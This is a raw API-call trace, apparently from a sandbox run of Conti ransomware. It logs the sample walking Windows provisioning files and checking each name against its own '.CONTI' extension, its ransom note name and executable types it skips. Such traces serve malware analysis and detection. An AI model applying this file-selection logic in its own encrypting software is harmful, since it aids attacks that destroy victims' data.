	[0109.560] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.560] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", cAlternateFileName="48__CO~1.PRO")) returned 1
	[0109.560] lstrcmpiW (lpString1="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.560] lstrcmpiW (lpString1="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.560] StrStrIW (lpFirst="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.560] StrStrIW (lpFirst="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.560] StrStrIW (lpFirst="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.560] StrStrIW (lpFirst="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.560] StrStrIW (lpFirst="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.560] StrStrIW (lpFirst="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.560] StrStrIW (lpFirst="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.561] StrStrIW (lpFirst="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.561] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.561] lstrlenW (lpString="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.561] GetProcessHeap () returned 0x1720000
	[0109.561] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x1809610
	[0109.561] lstrcpyW (in: lpString1=0x1809610, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.561] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.561] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml"
	[0109.561] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="490__C~1.PRO")) returned 1
	[0109.561] lstrcmpiW (lpString1="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.561] lstrcmpiW (lpString1="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.561] StrStrIW (lpFirst="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.561] StrStrIW (lpFirst="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.561] StrStrIW (lpFirst="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.561] StrStrIW (lpFirst="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.561] StrStrIW (lpFirst="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.561] StrStrIW (lpFirst="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.561] StrStrIW (lpFirst="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.561] StrStrIW (lpFirst="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.561] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.561] lstrlenW (lpString="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml") returned 90
	[0109.561] GetProcessHeap () returned 0x1720000
	[0109.561] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x16a) returned 0x17c3f30
	[0109.561] lstrcpyW (in: lpString1=0x17c3f30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.561] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.561] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml"
	[0109.561] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="491__C~1.PRO")) returned 1
	[0109.561] lstrcmpiW (lpString1="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.561] lstrcmpiW (lpString1="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.561] StrStrIW (lpFirst="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.561] StrStrIW (lpFirst="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.561] StrStrIW (lpFirst="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.561] StrStrIW (lpFirst="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.562] StrStrIW (lpFirst="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.562] StrStrIW (lpFirst="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.562] StrStrIW (lpFirst="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.562] StrStrIW (lpFirst="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.562] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.562] lstrlenW (lpString="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml") returned 82
	[0109.562] GetProcessHeap () returned 0x1720000
	[0109.562] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15a) returned 0x6575370
	[0109.562] lstrcpyW (in: lpString1=0x6575370, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.562] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.562] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml"
	[0109.562] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="492__C~1.PRO")) returned 1
	[0109.562] lstrcmpiW (lpString1="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.562] lstrcmpiW (lpString1="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.562] StrStrIW (lpFirst="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.562] StrStrIW (lpFirst="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.562] StrStrIW (lpFirst="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.562] StrStrIW (lpFirst="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.562] StrStrIW (lpFirst="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.562] StrStrIW (lpFirst="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.562] StrStrIW (lpFirst="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.562] StrStrIW (lpFirst="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.562] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.562] lstrlenW (lpString="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml") returned 92
	[0109.562] GetProcessHeap () returned 0x1720000
	[0109.562] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x16e) returned 0x65754d8
	[0109.562] lstrcpyW (in: lpString1=0x65754d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.562] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.562] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml"
	[0109.562] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="493__C~1.PRO")) returned 1
	[0109.562] lstrcmpiW (lpString1="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.562] lstrcmpiW (lpString1="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.563] StrStrIW (lpFirst="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.563] StrStrIW (lpFirst="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.563] StrStrIW (lpFirst="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.563] StrStrIW (lpFirst="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.563] StrStrIW (lpFirst="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.563] StrStrIW (lpFirst="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.563] StrStrIW (lpFirst="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.563] StrStrIW (lpFirst="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.563] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.563] lstrlenW (lpString="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.563] GetProcessHeap () returned 0x1720000
	[0109.563] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x180bfe0
	[0109.563] lstrcpyW (in: lpString1=0x180bfe0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.563] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.563] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml"
	[0109.563] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911c7ac2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911c7ac2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911c7ac2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="494__C~1.PRO")) returned 1
	[0109.563] lstrcmpiW (lpString1="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.563] lstrcmpiW (lpString1="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.563] StrStrIW (lpFirst="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.563] StrStrIW (lpFirst="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.563] StrStrIW (lpFirst="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.563] StrStrIW (lpFirst="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.563] StrStrIW (lpFirst="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.563] StrStrIW (lpFirst="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.563] StrStrIW (lpFirst="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.563] StrStrIW (lpFirst="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.563] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.563] lstrlenW (lpString="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml") returned 78
	[0109.563] GetProcessHeap () returned 0x1720000
	[0109.563] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x1815850
	[0109.563] lstrcpyW (in: lpString1=0x1815850, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.563] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.564] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml"
	[0109.564] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911c7ac2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911c7ac2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911c7ac2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="495__C~1.PRO")) returned 1
	[0109.564] lstrcmpiW (lpString1="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.564] lstrcmpiW (lpString1="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.564] StrStrIW (lpFirst="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.564] StrStrIW (lpFirst="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.564] StrStrIW (lpFirst="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0109.564] StrStrIW (lpFirst="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0109.564] StrStrIW (lpFirst="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0109.564] StrStrIW (lpFirst="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".sys") returned 0x0
	[0109.564] StrStrIW (lpFirst="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.564] StrStrIW (lpFirst="495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
